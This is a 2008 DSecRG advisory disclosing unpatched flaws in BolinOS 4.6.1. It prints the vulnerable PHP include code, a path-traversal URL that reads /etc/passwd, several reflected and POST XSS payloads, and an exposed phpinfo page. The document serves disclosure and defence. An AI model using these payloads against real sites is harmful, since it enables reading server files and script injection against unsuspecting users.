Advisory Text :  


Digital Security Research Group [DSecRG] Advisory #DSECRG-08-022

Application: BolinOS
Versions Affected: 4.6.1
Vendor URL: http://www.bolinos.com
Bugs: Local File Include,Multiple XSS, System
information disclosure
Exploits: YES
Reported: 13.03.2008
Second report: 18.03.2008
Vendor response: none
Solution: none
Date of Public Advisory: 25.03.2008
Authors: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)

Description
***********

BolinOS system has multiple security vulnerabilities:

1. Local File Include
2. Multiple Linked XSS vulnerabilities
3. Multiple XSS in POST
4. System information disclosure

Details
*******

1. Local File Include vulnerability found in
system/_b/contentFiles/gbincluder.php

Code
****
#################################################

$actionpagetoinclude=$_GET["_bFileToInclude"];
if($actionpagetoinclude!="" &&
@file_exists(gBRootPath."/$actionpagetoinclude")){
@include(gBRootPath."/$actionpagetoinclude");
}
else{
echo "NO FILE";
}

#################################################

Example:

http://[server]/[installdir]/system/_b/contentFiles/gbincluder.php?_bFil

eToInclude=../../../../../../../../../../../../../etc/passwd

---------------------------------------------------------------------

2. Multiple linked XSS vulnerabilities found.

2.1 Linked XSS vulnerability found in page
/system/actionspages/_b/contentFiles/gBImageViewer.php

Attacker can inject XSS in GET parameter "url"

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBImage

Viewer.php?url=<script>alert('DSecRG XSS')</script>

2.2 Linked XSS vulnerability found in page
/system/actionspages/_b/contentFiles/gBselectorContents.php

Attacker can inject XSS in GET parameter "ForEditor".

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBselec

torContents.php?ForEditor='><IMG%20SRC="javascript:alert('DSecRG
XSS')">

2.3 Linked XSS vulnerabilities found in following pages:

/system/actionspages/_b/contentFiles/gBLoginPage.php
/system/actionspages/_b/contentFiles/gBPassword.php

Attacker can inject XSS script in URL

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBLogin

Page.php/"><script>alert('DSecRG XSS')</script>
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBPassw

ord.php/"><script>alert('DSecRG XSS')</script>

---------------------------------------------------------------------

3. Multiple XSS in POST vulnerabilities, attacker can inject XSS in POST
parameter.

3.1 Vulnerability found in script
/system/actionspages/_b/contentFiles/gBLoginPage.php

POST parameter "formlogin".

Example:

POST
/bolinos/system/actionspages/_b/contentFiles/gBLoginPage.php?bAddress=bo

linos.sessions HTTP/1.0
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS;
.NET CLR 2.0.50727)

formlogin=%27><img%20src%3d%22javascript:alert(%27DSecRG%20XSS%27)%22>&B

tLogin.x=

3.2 Vulnerability found in page /help/index.php

POST parameter "bolini_searchengine46Search".

Example:

bolini_searchengine46Search = '><IMG SRC=javascript:alert("DSecRG
XSS")>

--------------------------------------------------------------------

4. System information disclosure

Non-authentication user can access phpinfo() page.

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBphpIn

fo.php

About
*****

Digital Security is leading IT security company in Russia, providing
information security consulting, audit and penetration testing services,
risk analysis and ISMS-related services and certification for ISO/IEC
27001:2005 and PCI DSS standards. Digital Security Research Group
focuses on web application and database security problems with
vulnerability reports, advisories and whitepapers posted regularly on
our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)